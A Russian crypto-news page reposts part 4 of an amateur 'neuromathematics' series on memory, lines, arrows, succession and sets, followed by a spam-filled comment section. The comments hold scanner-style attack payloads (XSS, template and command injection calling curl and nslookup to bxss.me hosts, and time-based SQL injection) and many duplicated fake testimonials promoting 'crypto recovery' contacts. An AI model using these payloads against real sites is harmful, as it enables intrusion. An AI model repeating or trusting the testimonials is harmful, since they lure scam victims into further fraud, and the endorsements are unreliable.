Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

  1. Главная
  2. Новости

Математические бланки // Часть 4: объекты в памяти

6b1fdf0659405c0d3b23cb592fbbc34c.png

Первые две статьи этой серии поставили ряд важных вопросов о математике. В третьей статье на них были даны ответы. Мы нашли память и время идеального мира (доска и маркер), и построили первые объекты (примитив и коллектор).

Мы также начали построение нейроматематики, в рамках которой получили строгое определение ИСТИНА, РАВЕНСТВО и ПРОТИВОПОЛОЖНОСТЬ. Определения этих объектов отсутствуют в Математической энциклопедии, так что нейроматематика уже стала в чём-то более богата, чем математика традиционная.

В третьей статье много говорилось о памяти, но это далеко не всё, что можно о ней сказать. В действительности, функция хранения наследуется всеми сложными объектами, и в четвёртой статье мы разберём, как это происходит.

В процессе построения этих объектов мы также дадим определение ещё одному понятию, которое отсутствует в Математической энциклопедии, но крайне важно. Это СЛЕДОВАНИЕ. Мы сталкиваемся с ним на каждом шагу: даже сейчас, в процессе написания/прочтения этих слов, которые следуют одно за другим.

Следование нам понадобится также и для того, чтобы строго определить МНОЖЕСТВО. Это понятие, конечно, есть в Математической энциклопедии, но описывается оно там лишь неформально, на интуитивном уровне. Множество - одно из самых базовых понятий, а в рамках нейроматематики оно выражает самую суть памяти. Хотите узнать, как? Не переключайтесь!

Часть 1: введение в проблему
Часть 2: философия
Часть 3: математическая реальность

Обратная связь

С интересом слежу за серией. Долгожданная третья статья вызвала странное ощущение. Очень хочется какую-то еë часть перевести на язык теории категорий, ... какую-то — на язык комбинаторного исчисления и теории разрешимости, ... описание "доски" ... вопиет о формализации в терминах топологического пространства и группах его преобразований.

Нейроматематика строится с нуля, с чистого листа. Мы вправе использовать только то, чему сами дали строгое определение. Пока что мы дали такое определение только истине, равенству и противоположности. До упомянутых разделов нам ещё как до Луны.

"Аналогов нет" в современной науке эквивалентно "я дилетант".

Проблема математических бланков, описанная в первой статье, ранее не декларировалась. Во всей математике считается нормальным использовать базовые объекты без известной структуры, описывая их аксиомами. Но мы строим новый раздел - нейроматематику, которая предъявляет требование, чтобы структура ВСЕГО была задана строго и явно. Такая цель ранее не ставилась. Математический формализм (Гильберт, Рассел) делал попытки построить все математические системы на основе аксиом, но нейроматематика не использует аксиомы, заменяя их более сильным требованием известности структуры.

Универсальность паттерна памяти

В предыдущих статьях мы показали, что ввод памяти и времени в математику позволяет породить новый раздел - нейроматематику, в рамках которой можно дать строгие определения понятиям, ранее описанным только интуитивно. Это даёт представление о мощности аппарата памяти и времени.

Что касается памяти, то в нейроматематике любой объект может являться памятью для другого, и эта возможность используется повсеместно. Аналогично, в программировании, стандартная форма определения - это фигурные скобки и указание, что там внутри. Такое описание говорит о том, что базисный объект предоставляет память для размещения своих элементов. Иными словами, паттерн памяти универсален не только в нейроматематике, но и в программировании, которое можно принять за некоторую проекцию математики.

Возвращаясь к программному коду коллектора:

collector
{
    empty x_1 = new() @positive;
    empty x_2 = new() @negative;
}

collector x_0 = new();

По этому коду видно, что элементы x_1 и x_2 размещены в памяти коллектора, а не в той же, где размещён сам коллектор x_0. Это не столь очевидно при рассмотрении графической нотации:

e9bc749581ed456c69bcd95f87700e12.png

Но тем не менее, подобное соглашение о коллекторе надо иметь в виду в дальнейшем.

Данная статья подробно рассказывает о том, как размещение в памяти делается в ФОРАОН, а также о том, какое фундаментальное соотношение связывает память и объекты внутри неё. Мы также оформим это отношение в виде математического объекта.

Объекты на доске

В традиционной математике, основные графические объекты описываются (в лучшем случае) аксиомами. Обратимся к Математической энциклопедии. О прямой там [1 т.4 с.721] говорится, что это "одно из основных геометрических понятий, обычно косвенным образом определяемое аксиомами геометрии". Аналогично - линия [1 т.3 с.382-383]: "геометрическое понятие, точное и в тоже время достаточно общее определение которого представляет значительные трудности..." А, например, статья "точка" вообще отсутствует, как и статья "плоскость".

Все эти объекты имеют между собой нечто общее. А именно: они доступны для непосредственного восприятия. Что это означает? Все мы изучали геометрию в школе, и можно ручаться, что прежде чем объяснять смысл линии учитель рисовал её на доске. То есть, сначала разум ребёнка понимает "на уровне BIOS", что такое линия, а затем уже идёт речь о формальных её свойствах.

Подход нейроматематики отличается тем, что она требует строгую структуру того, что же находится на этом "уровне BIOS". Нам в помощь то, что определение доски уже задано как непосредственно (рисунком), так и в виде кода.

ТОЧКА

Имея структуру доски, легко дать строгое определение точки. Точка это атомарный объект, не имеющий элементов, по структуре совпадающий с нуль-системой. Однако точкой её делает информационный аспект, т.е. размещение на доске в некотором месте, иными словами:

empty point = new() @location;

Собственно, любое место на доске существует и до начала рассмотрения каких-либо объектов. Мы создаём \underline{\alpha} и размещаем её на доске для того, чтобы пометить конкретное место как предмет нашего внимания.

ЛИНИЯ

Давайте рассмотрим наш взгляд "на уровне BIOS" на линию.

Линия 1) не находится в единственном месте - это протяжённый объект на доске, с одной парой направлений. Вместе с тем, 2) у линии есть особое место, определяющее её местонахождение на доске (задающая или начальная точка). Однако место не есть единственная информация о линии, 3) вторым информационным элементом является ориентация линии, которая может быть либо постоянной (прямая), либо переменной.

Это то, что наш взгляд считывает с изображения линии: таковы параметры её непосредственного восприятия - больше в ней ничего нет. Причина, по которой вышеуказанное определение отсутствует в традиционной математике, понятна: в ней нет идеи памяти и нет возможности использовать её свойства.

Запишем это в программной нотации:

line
{
    @offset;
    direction { @positive; @negative; }
    shift;
}

line x = new() @location @orientation;

Бросается в глаза, что эта запись есть "урезанное" определение доски из третьей статьи. Подобно месту на доске, у линии есть смещение (@offset), являющееся адресом внутри линии. Далее следует протяжённость с двумя направлениями (direction). Различие между линией и доской в том, что у последней две протяжённости в двух ориентациях, а у линии одна. Наконец, shift описывает преобразование адреса на линии - сдвиг. То есть богатство линии один, как и у ленты машины Тьюринга.

Если при создании не указано место размещения (@location), то по умолчанию линия будет размещена задающей точкой в центре доски. Если ориентация не задана, то по умолчанию она будет равна константе @primary, т.е. горизонтальная прямая. Ориентацию можно также задать как функцию, зависящую от смещения.

Рассмотрим для примера линию l. Её диапазон смещения (t) пусть будет от 0 (задающая точка) до \infty. Разместим l на доске (@location) с координатами (1,0). Ориентацию линии (@orientation) зададим как функцию O(t)=t+\frac{\pi}{2}.

Линия, соответствующая этому определению, изображёна на рисунке:

Линия
Линия l

Не всякую линию на плоскости можно задать функцией y=f(x), например, так нельзя задать окружность l. Описание же линии через функцию ориентации O(t) возможно во всех случаях, даже если линия содержит петли или изломы.

Заметим, что общая структура линии соответствует коллектору. Действительно, коллектор содержит полюса, расположенные в двух направлениях, а также базис между ними, соответствующий протяжённости линии.

Акцент

Коллектор - это самый простой объект после собственно нуль-системы \underline{\alpha}. Но он не единственный, и даже не самый аскетичный. Рассмотрим следующее определение:

accent(x_1)
{
    empty x_1 = new();
}

В графической нотации ФОРАОН такой объект будет изображён так:

Акцент
Акцент

Здесь примитив x_1 записан ПОВЕРХ примитива x_0. Такое размещение примитивов будем называть АКЦЕНТ. Графическая нотация изображает верхний примитив со сдвигом вправо на половину диаметра от нижнего примитива. В целом, это очень простое определение, которое, после всех объяснений выше, должно быть вполне понятным. Такая нотация означает, что "верхний" примитив находится в памяти нижнего.

На этом примере видно, что отношение памяти между объектами добавляет в нейроматематику третье измерение. То есть, объект может расти не только по горизонтали, но и по условной "вертикали", в сторону последовательно большего количества вложений. Это третье измерение будем называть МЕМОРИАЛЬНЫМ.

Контур

При помощи акцента можно соединять не только отдельные примитивы, но и более сложные объекты, например, два или более коллекторов. Мы не будем записывать программный код, но в графической нотации такое объединение будет выглядеть следующим образом:

Контур (цепочка)
Контур (цепочка)

Определённый таким образом объект будем называть КОНТУРОМ или ЦЕПОЧКОЙ.

Директор

При изображении линии l мы использовали графический элемент, который ещё не был введён. Этот элемент - стрелочка. При взгляде на картинку стрелочка не вызывает вопросов, потому что это интуитивно понятный объект. Однако в нейроматематике надо предъявить его структуру.

Стрелочка показывает, в каком направлении происходит то, что нас интересует. В частности, на картинке линии l стрелочка показывает, в каком направлении растёт смещение t. Иными словами, стрелочка маркирует ВЫБРАННОЕ направление на линии.

Если структура линии выражается коллектором, то как указать нам указать на один из его полюсов? Ответ: воспользоваться акцентом. Буквально, возьмём коллектор и надпишем выбранное направление (пусть это будет +) над его базисом. В графической нотации это будет выглядеть так:

Директор
Директор

Сконструированный таким образом объект назовём ДИРЕКТОРОМ. Его программный вариант можно записать так: director : collector, accent(x_3) { }. Однако уже на примере директора видно, что программный код, в силу его одномерности, уступает трёхмерной графической нотации.

Кроме записи выше, мы также будем использовать ещё несколько альтернативных форм:

Альтернативные формы директора
Альтернативные формы директора

Как правило, стрелочки изображаются в виде отрезков, но мы также в отдельных случаях будем пользоваться изогнутыми линиями: директор - это всего лишь линия с выбранным направлением.

Следование

Мы столь тщательно создавали стрелочку не просто так. В нейроматематике, стрелочка выражает отношение СЛЕДОВАНИЯ, которое заключается в том, что один объект следует за другим, который ему предшествует. Отношение следования тесно связано с временем, каковая связь выражается в том, что следующий объект создаётся, обрабатывается, получает информацию или исполняется после предыдущего. Запись "b следует за a" выглядит как a\rightarrow b.

Следование повсеместно присутствует в математике, программировании, да и в любой формализованной области знаний. Вне зависимости от того, есть ли на виду явная стрелочка или нет, большинство объектов и/или их частей, так или иначе следуют за чем-то, как, например, слова этого текста.

В традиционной математике следование (как и сама стрелочка) не формализуется и особо не замечается. Но если его заметить и поставить на службу, можно получить замечательные результаты, как будет показано в этой серии заметок. Благодаря тому, что мы формально описали структуру стрелочки, следование становится полноправным строгим элементом нейроматематики, наряду с ранее определёнными понятиями истины и равенства.

Следование формирует фундаментальное взаимоотношение между памятью и объектами в ней. Оно заключается вот в чём: чтобы объект мог быть создан в памяти, последняя должна уже присутствовать. Иными словами, объект в памяти всегда следует за ней, память же предшествует ему. Данное взаимоотношение будем называть контрактом памяти.

Модель памяти (множество)

Рассмотренные выше объекты (коллектор, аспект, директор) построены так, что в памяти одного примитива хранятся другие примитивы, до трёх. Теперь построим обобщённую модель памяти, в которой могут храниться произвольные объекты. В рамках нейроматематики, такой моделью является МНОЖЕСТВО.

Математическая энциклопедия [1 т.3 с.758-759] сообщает, что "понятие множества принадлежит к числу первоначальных математических понятий и может быть пояснено только при помощи примеров". Такая беспомощность объясняется просто: в обычной математике нет идеи памяти, как и твёрдого понятийного фундамента, который она предоставляет.

Давайте построим определение множества для нейроматематики.

Исходя из интуитивного понимания, множество разделяет с памятью свойство содержать в себе некоторые объекты. Множество также выполняет контракт памяти - предшествует своим элементам, т.к. чтобы добавить элемент в множество, оно должно уже существовать.

Данный факт подводит нас к тому, что в основе структуры множества должен находиться директор (стрелочка), выражающий следование. В самом простейшем случае, это единственная стрелочка, которая соединяет базисный объект, предоставляющий свою память, и единственный элемент.

Нейроматематика выделяет следующие части определения множества:

  • базисный объект, предоставляющий память (ТЕЛО)

  • стрелочка (МАРШРУТ), выражающая размещение элемента(ов) в памяти тела и их следование за телом, согласно контракту памяти.

В простейшем случае, формула множества может быть записана так: a \rightarrow x. Здесь a тело множества, стрелочка маршрут, а x единственный элемент. В традиционной математике, конечно, нет понятия тела множества, и множество из одного элемента запишется как \{x\}. В рамках нейроматематики, такая запись говорит, что тело опущено, т.е. буквально оно пустое. Иными словами: \{x\} \equiv \underline{\alpha} \rightarrow x.

ВАЖНО: данное определение действует в рамках нейроматематики - отдельной дисциплины, создаваемой с нуля. Это обстоятельство позволяет нам дать определение по своему усмотрению, и лишь впоследствии, через несколько статей, доказать эквивалентность нашего определения аксиоматическому определению традиционной математики. Что до аксиом, то в нейроматематике они могут быть доказаны.

Для множества из более одного элемента, потребуется более сложный маршрут из стрелочек, ведущий от тела к элементам. Пример такого маршрута можно видеть на диаграмме:

Маршрут множества
Маршрут множества \{x_1, x_2\}

Как видно из неё, маршрут такого множества использует уже ранее введённые объекты: в его основе цепочка директоров. Директоры, входящие в цепочку, формируют адрес в памяти множества, по которому располагаются его элементы. Наличие адреса - черта любой мультипамяти, присущая в том числе, множеству из более одного элемента.

По какой причине маршрут выглядит именно так, будет более детально разъяснено в более поздних статьях, как и про бесконечные множества, а также алгоритмы над множествами и описывающие их аксиомы. На данный момент мы ввели понятие множества на самом общем уровне, перечислив его принципиальные моменты: мультипамять, адрес, контракт следования, структурные части множества - тело и маршрут.

Маршрут множества, подобно изображённому выше, это способ показать включение нескольких объектов в память тела множества. Но даже если запись объекта не содержит стрелочек, как, например, коллектор и акцент, все сложные объекты, в рамках нейроматематики, могут рассматриваться как множества.

Ранее мы указывали, что в ФОРАОН запись \{...\} и [...] означает размещение объектов в памяти. В свете изложенного, запись множества, например \{x_1, x_2\}, полностью консистентна с размещением в памяти, потому что множество - это и есть объект, в памяти которого находятся элементы.

Темпоральная механика

До сих пор мы преимущественно вели речь о статических объектах и понятиях, так или иначе связанных с памятью. Большую часть этих вопросов мы уже рассмотрели, и теперь подошла очередь поговорить про время. Время в нейроматематике абстрактное "математическое", где отдельные моменты связаны преобразованиями - t_0 не выполнено, t_1 выполнено. В третьей статье мы коснулись маркера в ознакомительном порядке, а в пятой - рассмотрим вопрос времени более подробно. Не переключайтесь!

Литература

[1] Математическая энциклопедия в 5 томах. Москва. 1982.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

